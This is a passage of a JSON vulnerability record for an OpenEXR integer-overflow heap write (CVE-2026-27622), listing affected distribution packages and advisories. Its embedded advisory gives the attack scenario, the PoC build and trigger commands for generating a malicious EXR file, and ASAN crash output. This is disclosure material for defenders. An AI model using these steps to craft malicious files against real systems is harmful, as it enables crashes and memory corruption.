ges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.0-6ubuntu0.5+esm2"}]}],"versions":["2.2.1-4.1ubuntu1","2.3.0-6","2.3.0-6build1","2.3.0-6ubuntu0.1","2.3.0-6ubuntu0.2","2.3.0-6ubuntu0.3","2.3.0-6ubuntu0.5","2.3.0-6ubuntu0.5+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.7-1ubuntu0.1~esm2"}]}],"versions":["2.5.4-2","2.5.7-1","2.5.7-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-5.1ubuntu0.1~esm1"}]}],"versions":["3.1.5-5.1","3.1.5-5.1build1","3.1.5-5.1build2","3.1.5-5.1build3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.13-2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.13-2ubuntu0.26.04.1~esm1"}]}],"versions":["3.1.13-2","3.1.13-2build1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-10ubuntu2.6+esm4"}]}],"versions":["2.2.0-1ubuntu3","2.2.0-7ubuntu1","2.2.0-9ubuntu1","2.2.0-10ubuntu2","2.2.0-10ubuntu2.1","2.2.0-10ubuntu2.2","2.2.0-10ubuntu2.3","2.2.0-10ubuntu2.4","2.2.0-10ubuntu2.6","2.2.0-10ubuntu2.6+esm1","2.2.0-10ubuntu2.6+esm2","2.2.0-10ubuntu2.6+esm3"],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-11.1ubuntu1.9+esm1"}]}],"versions":["2.2.0-11ubuntu1","2.2.0-11.1ubuntu1","2.2.0-11.1ubuntu1.1","2.2.0-11.1ubuntu1.2","2.2.0-11.1ubuntu1.3","2.2.0-11.1ubuntu1.4","2.2.0-11.1ubuntu1.6","2.2.0-11.1ubuntu1.7","2.2.0-11.1ubuntu1.8","2.2.0-11.1ubuntu1.9"],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.0-6ubuntu0.5+esm2"}]}],"versions":["2.2.1-4.1ubuntu1","2.3.0-6","2.3.0-6build1","2.3.0-6ubuntu0.1","2.3.0-6ubuntu0.2","2.3.0-6ubuntu0.3","2.3.0-6ubuntu0.5","2.3.0-6ubuntu0.5+esm1"],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.7-1ubuntu0.1~esm2"}]}],"versions":["2.5.4-2","2.5.7-1","2.5.7-1ubuntu0.1~esm1"],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.5-5.1ubuntu0.1~esm1"}]}],"versions":["3.1.5-5.1","3.1.5-5.1build1","3.1.5-5.1build2","3.1.5-5.1build3"],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.13-2ubuntu0.26.04.1~esm1"}]}],"versions":["3.1.13-2","3.1.13-2build1"],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.6-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.2-160000.5.1"}]}]}],"products":[{"vendor":"academysoftwarefoundation","product":"openexr"},{"vendor":"openexr","product":"openexr"},{"vendor":"red hat","product":"red hat ai inference server 3.3"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 10.0 extended update support"},{"vendor":"red hat","product":"red hat enterprise linux 6"},{"vendor":"red hat","product":"red hat enterprise linux 7"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 8.2 advanced update support"},{"vendor":"red hat","product":"red hat enterprise linux 8.4 advanced mission critical update support"},{"vendor":"red hat","product":"red hat enterprise linux 8.4 extended update support long-life add-on"},{"vendor":"red hat","product":"red hat enterprise linux 8.6 advanced mission critical update support"},{"vendor":"red hat","product":"red hat enterprise linux 8.6 telecommunications update service"},{"vendor":"red hat","product":"red hat enterprise linux 8.6 update services for sap solutions"},{"vendor":"red hat","product":"red hat enterprise linux 8.8 telecommunications update service"},{"vendor":"red hat","product":"red hat enterprise linux 8.8 update services for sap solutions"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat enterprise linux 9.0 update services for sap solutions"},{"vendor":"red hat","product":"red hat enterprise linux 9.2 update services for sap solutions"},{"vendor":"red hat","product":"red hat enterprise linux 9.4 extended update support"},{"vendor":"red hat","product":"red hat enterprise linux 9.6 extended update support"}],"references":[{"url":"https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-cr4v-6jm6-4963","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27622","tags":["vdb-entry","x_refsource_REDHAT","report","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444251","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27622.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:7678","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:7682","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8863","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:12340","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:12341","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:12339","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:12338","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8870","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8869","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8871","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8872","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:8888","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:16008","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:16030","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:16009","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:16174","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27622","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cr4v-6jm6-4963","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/2444251","tags":["report"]},{"url":"https://errata.almalinux.org/10/ALSA-2026-7682.html","tags":["advisory"]},{"url":"https://errata.almalinux.org/8/ALSA-2026-8863.html","tags":["advisory"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-8888.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/tuxcare9.6esu/CLSA-2026-1773831456.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/almalinux9.2esu/CLSA-2026-1774604404.html","tags":["advisory"]},{"url":"https://errata.tuxcare.com/els_os/ubuntu18.04els/CLSA-2026-1787317469.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27622.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-27622","tags":["advisory"]},{"url":"https://github.com/AcademySoftwareFoundation/openexr","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1616","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1617","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1618","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1619","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1620","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1685","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1686","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1687","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1688","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1689","tags":["advisory"]},{"url":"https://pypi.org/project/openexr","tags":["package"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12338.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27622","tags":["advisory","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12339.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12340.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_12341.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_7678.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_7682.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8863.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8869.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8870.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8871.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8872.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_8888.json","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:7682","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:8863","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:8888","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202620936-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1259177","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27622","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-27622","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8259-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-34380","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-34588","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-27622","title":"OpenEXR CompositeDeepScanLine integer-overflow leads to heap OOB write","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u003cunsigned int\u003e total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","status":"published","published":"2026-03-03T22:42:49.086Z","modified":"2026-09-09T12:04:51.973Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-787","CWE-190"],"updated_at":"2026-11-02T14:19:49.199185Z"}],"euvd":[{"id":"EUVD-2026-9342","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u003cunsigned int\u003e total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","status":"published","published":"2026-03-03T22:42:49Z","modified":"2026-09-09T12:04:51Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:28:27.763941Z"}],"ghsa":[{"id":"GHSA-cr4v-6jm6-4963","title":"OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write","description":"## Summary\n\nFunction: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).\n\nVulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`):\n- `total_sizes[ptr] += counts[j][ptr];` (line ~511)\n- `overall_sample_count += total_sizes[ptr];` (line ~514)\n- `samples[channel].resize (overall_sample_count);` (line ~535)\n\nImpact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).\n\nAttack scenario:\n- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.\n- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.\n- The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.\n\nTested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0\n\n## Steps to reproduce\n\n[composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch)\n\nPoC files used:\n- Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp`\n- Minimal high-level reader harness: `poc/simple_exr_reader.cpp`\n\nThe reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.\n\nBuild with ASAN/UBSAN:\n\n```bash\ncmake -S . -B build-asan \\\n  -DOPENEXR_BUILD_POC=ON \\\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\n  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \\\n  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\n\ncmake --build build-asan --target composite_writer simple_exr_reader -j\n```\n\nGenerate malicious file (decode-path focused profile):\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 180s \\\n  ./build-asan/poc/composite_writer \\\n  --profile low-ram \\\n  --file /tmp/composite_decode_focus.exr\n```\n\nTrigger:\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 30s \\\n  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr\n```\n\nASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.\n\n## Example runs\n\nWriter (abbrev):\n\n```bash\n❯ ./build-asan/poc/composite_writer\nexploit math:\n  benign samples                 : 300\n  malicious parts                : 86\n  malicious samples per part     : 50000000\n  true total samples             : 4300000300\n  uint32 overflow reached        : yes\n  wrapped uint32 total           : 5033004\n  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)\n  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)\n  min parts to overflow (current benign/samples): 86\nwriting compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr\nwriting donor malicious part (50000000 samples)\ncopying malicious part 1/86 from donor chunk\n...\nfile size: 26112896 bytes (24.90 MiB)\n```\n\nReader ASAN crash:\n\n```bash\n❯ ./build-asan/poc/simple_exr_reader\nreading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts\n=================================================================\n==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670\nWRITE of size 4 at 0x7ed1a55d90b0 thread T0\n    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374\n    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664\n    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816\n    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const\u0026, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568\n    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576\n    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\n0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)\nallocated by thread T0 here:\n    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95\n    #1 0x7ed1dbc29600 in std::__new_allocator\u003cfloat\u003e::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151\n    #2 0x7ed1dbc29600 in std::allocator_traits\u003cstd::allocator\u003cfloat\u003e \u003e::allocate(std::allocator\u003cfloat\u003e\u0026, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482\n    #3 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381\n    #4 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378\n    #5 0x7ed1dbc29600 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663\n    #6 0x7ed1dbc00184 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016\n    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535\n    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers\nShadow bytes around the buggy address:\n  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==175024==ABORTING\n```\n\n## Root cause analysis\n\nIn `CompositeDeepScanLine::readPixels`:\n\n1. Per-pixel totals are accumulated in `vector\u003cunsigned int\u003e total_sizes`.\n2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`.\n3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`.\n4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.\n\n\nAllocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.\n\n## Impact\n\nHeap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.","status":"published","published":"2026-03-02T18:30:20Z","modified":"2026-03-04T02:00:11Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T14:39:31.060223Z"}],"nvd":[{"id":"CVE-2026-27622","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u003cunsigned int\u003e total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","status":"published","published":"2026-03-03T23:15:55.737Z","modified":"2026-07-15T02:19:08.643Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-787","CWE-190"],"updated_at":"2026-11-02T14:12:07.420927Z"}],"osv":[{"id":"CVE-2026-27622","title":"OpenEXR CompositeDeepScanLine integer-overflow leads to heap OOB write","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u003cunsigned int\u003e total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","status":"published","published":"2026-03-03T22:42:49.086Z","modified":"2026-10-28T11:10:04.11142377Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"DEBIAN-CVE-2026-27622","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u003cunsigned int\u003e total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","status":"published","published":"2026-03-03T23:15:55.737Z","modified":"2026-10-01T03:03:01.248378956Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-cr4v-6jm6-4963","title":"OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write","description":"## Summary\n\nFunction: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).\n\nVulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`):\n- `total_sizes[ptr] += counts[j][ptr];` (line ~511)\n- `overall_sample_count += total_sizes[ptr];` (line ~514)\n- `samples[channel].resize (overall_sample_count);` (line ~535)\n\nImpact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).\n\nAttack scenario:\n- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.\n- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.\n- The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.\n\nTested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0\n\n## Steps to reproduce\n\n[composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch)\n\nPoC files used:\n- Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp`\n- Minimal high-level reader harness: `poc/simple_exr_reader.cpp`\n\nThe reader harness intentionally mimics realistic app behavior: open 